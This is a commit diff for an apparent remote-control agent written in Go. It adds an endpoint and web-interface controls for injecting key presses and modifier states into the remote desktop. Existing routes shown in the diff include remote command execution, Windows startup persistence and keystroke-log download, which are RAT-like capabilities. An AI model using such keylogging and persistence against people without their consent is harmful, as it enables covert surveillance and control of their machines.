Add key input handling functionality to the agent. Implement API endpoint for sending key presses with support for action types (tap, down, up) and modifiers. Update web interface to allow users to send keys and toggle modifier states through a new interactive element.

This commit is contained in:
2026-08-28 13:11:56 +03:00
parent 077d9ab850
commit 2a6680c5bf
8 changed files with 346 additions and 27 deletions
+1
View File
@@ -77,6 +77,7 @@ func (a *Agent) Serve() error {
mux.HandleFunc("/api/v1/exec", a.handleExec)
mux.HandleFunc("/api/v1/startup", a.handleStartup)
mux.HandleFunc("/api/v1/input/click", a.handleClick)
mux.HandleFunc("/api/v1/input/key", a.handleKey)
mux.HandleFunc("/api/v1/input/text", a.handleText)
mux.HandleFunc("/api/v1/keylog", a.handleKeylog)
mux.HandleFunc("/api/v1/keylog/download", a.handleKeylogDownload)
+39
View File
@@ -49,6 +49,7 @@ func (a *Agent) handleOpenAPI(w http.ResponseWriter, r *http.Request) {
"/api/v1/exec": map[string]any{"post": map[string]string{"summary": "Run a command"}},
"/api/v1/startup": map[string]any{"post": map[string]string{"summary": "Add to Windows startup"}, "delete": map[string]string{"summary": "Remove from Windows startup"}},
"/api/v1/input/click": map[string]any{"post": map[string]string{"summary": "Click the desktop"}},
"/api/v1/input/key": map[string]any{"post": map[string]string{"summary": "Send a key press"}},
"/api/v1/input/text": map[string]any{"post": map[string]string{"summary": "Type text into the focused field"}},
"/api/v1/keylog": map[string]any{"get": map[string]string{"summary": "List keystroke log files"}},
"/api/v1/keylog/download": map[string]any{"get": map[string]string{"summary": "Download a keystroke log file"}},
@@ -377,6 +378,44 @@ func (a *Agent) handleText(w http.ResponseWriter, r *http.Request) {
})
}
func (a *Agent) handleKey(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
return
}
r.Body = http.MaxBytesReader(w, r.Body, config.RequestBodyMax)
defer r.Body.Close()
var request models.KeyRequest
decoder := json.NewDecoder(r.Body)
decoder.DisallowUnknownFields()
if err := decoder.Decode(&request); err != nil {
helpers.WriteError(w, http.StatusBadRequest, "body must contain a key")
return
}
if request.Key == "" {
helpers.WriteError(w, http.StatusBadRequest, "key is required")
return
}
action := strings.ToLower(strings.TrimSpace(request.Action))
if action == "" {
action = "tap"
}
if action != "tap" && action != "down" && action != "up" {
helpers.WriteError(w, http.StatusBadRequest, "action must be tap, down, or up")
return
}
if err := input.PressKey(request.Key, action, request.Modifiers); err != nil {
if errors.Is(err, input.ErrBadKey) {
helpers.WriteError(w, http.StatusBadRequest, err.Error())
return
}
helpers.Log.Printf("key: %v", err)
helpers.WriteError(w, http.StatusInternalServerError, "could not send key")
return
}
helpers.WriteJSON(w, http.StatusOK, map[string]any{"ok": true, "key": request.Key, "action": action})
}
func (a *Agent) handleExec(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
+73 -20
View File
@@ -273,6 +273,7 @@
videoRunning = false;
videoStart.disabled = false;
videoStop.disabled = true;
releaseRemoteModifiers().catch((err) => showError(err.message));
}
async function pullVideoFrame() {
@@ -315,17 +316,62 @@
});
}
async function sendVideoText() {
const field = document.getElementById("video-text");
const text = field.value;
if (!text) return;
const delayMs = clamp(document.getElementById("video-key-delay").value, 0, 200);
await api("/api/v1/input/text", {
const MODIFIER_CODES = new Set([
"ControlLeft", "ControlRight", "ShiftLeft", "ShiftRight",
"AltLeft", "AltRight", "MetaLeft", "MetaRight", "OSLeft", "OSRight",
]);
const CODE_KEYS = {
Enter: "enter", NumpadEnter: "enter", Backspace: "backspace", Tab: "tab",
Escape: "escape", Space: "space", Delete: "delete", Insert: "insert",
Home: "home", End: "end", PageUp: "pageup", PageDown: "pagedown",
ArrowUp: "up", ArrowDown: "down", ArrowLeft: "left", ArrowRight: "right",
Semicolon: ";", Equal: "=", Comma: ",", Minus: "-", Period: ".", Slash: "/",
Backquote: "`", BracketLeft: "[", Backslash: "\\", BracketRight: "]", Quote: "'",
};
for (let i = 0; i <= 9; i += 1) CODE_KEYS[`Digit${i}`] = String(i);
for (let i = 0; i < 26; i += 1) {
const letter = String.fromCharCode(65 + i);
CODE_KEYS[`Key${letter}`] = letter.toLowerCase();
}
for (let i = 1; i <= 12; i += 1) CODE_KEYS[`F${i}`] = `f${i}`;
const modState = { ctrl: false, alt: false, shift: false, win: false };
function keyFromEvent(event) {
if (CODE_KEYS[event.code]) return CODE_KEYS[event.code];
if (event.key && event.key.length === 1 && /[a-zA-Z0-9]/.test(event.key)) {
return event.key.toLowerCase();
}
return null;
}
function transientModifiers(event) {
const mods = [];
if (event.shiftKey && !modState.shift) mods.push("shift");
if (event.ctrlKey && !modState.ctrl) mods.push("ctrl");
if (event.altKey && !modState.alt) mods.push("alt");
if (event.metaKey && !modState.win) mods.push("win");
return mods;
}
async function sendRemoteKey(key, action = "tap", modifiers = []) {
await api("/api/v1/input/key", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ text, delay_ms: delayMs }),
body: JSON.stringify({ key, action, modifiers }),
});
field.value = "";
}
async function releaseRemoteModifiers() {
const jobs = [];
for (const [name, active] of Object.entries(modState)) {
if (!active) continue;
modState[name] = false;
document.querySelector(`.mod-btn[data-mod="${name}"]`)?.classList.remove("active");
jobs.push(sendRemoteKey(name, "up"));
}
await Promise.all(jobs);
}
async function listKeylogs() {
@@ -427,19 +473,26 @@
event.preventDefault();
sendClick(event, "right").catch((err) => showError(err.message));
});
document.getElementById("video-send").addEventListener("click", () => {
sendVideoText().catch((err) => showError(err.message));
const videoKeys = document.getElementById("video-keys");
videoKeys.addEventListener("keydown", (event) => {
if (MODIFIER_CODES.has(event.code)) return;
const key = keyFromEvent(event);
if (!key) return;
event.preventDefault();
sendRemoteKey(key, "tap", transientModifiers(event)).catch((err) => showError(err.message));
});
const videoKeyDelay = document.getElementById("video-key-delay");
const videoKeyDelayVal = document.getElementById("video-key-delay-val");
videoKeyDelay.addEventListener("input", () => {
videoKeyDelayVal.textContent = videoKeyDelay.value;
});
document.getElementById("video-text").addEventListener("keydown", (event) => {
if (event.key === "Enter") {
event.preventDefault();
sendVideoText().catch((err) => showError(err.message));
}
document.querySelectorAll(".mod-btn").forEach((button) => {
button.addEventListener("click", () => {
const name = button.dataset.mod;
if (!name) return;
modState[name] = !modState[name];
button.classList.toggle("active", modState[name]);
sendRemoteKey(name, modState[name] ? "down" : "up").catch((err) => {
modState[name] = !modState[name];
button.classList.toggle("active", modState[name]);
showError(err.message);
});
});
});
document.getElementById("exec-run").addEventListener("click", () => {
runCommand().catch((err) => showError(err.message));
+27 -7
View File
@@ -130,7 +130,25 @@
padding: 0.65rem 1.25rem;
color: var(--danger);
}
.error.show { display: block; }
nav button.mod-btn.active {
background: var(--accent);
border-color: var(--accent);
color: #fff;
}
#video-keys {
flex: 1;
min-width: 12rem;
padding: 0.55rem 0.75rem;
border: 1px dashed var(--line);
border-radius: 6px;
background: #fff;
cursor: text;
outline: none;
}
#video-keys:focus {
border-color: var(--accent);
box-shadow: 0 0 0 2px rgba(37, 99, 235, 0.15);
}
</style>
</head>
<body>
@@ -208,12 +226,14 @@
<canvas id="video-canvas" width="1280" height="720"></canvas>
<p id="video-meta" class="meta"></p>
<div class="row" style="margin-top:0.75rem">
<input id="video-text" type="text" placeholder="Type text for the focused field">
<button id="video-send" class="primary" type="button">Send</button>
<label>Key delay
<input id="video-key-delay" type="range" min="0" max="200" value="25" style="width:8rem; vertical-align:middle">
<span id="video-key-delay-val">25</span> ms
</label>
<div id="video-keys" tabindex="0">Click here, then type on your keyboard</div>
</div>
<div class="row">
<button type="button" class="mod-btn" data-mod="ctrl">Ctrl</button>
<button type="button" class="mod-btn" data-mod="alt">Alt</button>
<button type="button" class="mod-btn" data-mod="shift">Shift</button>
<button type="button" class="mod-btn" data-mod="win">Win</button>
<span class="meta">Toggle modifiers, then type in the box above</span>
</div>
</section>
<section id="exec" class="panel">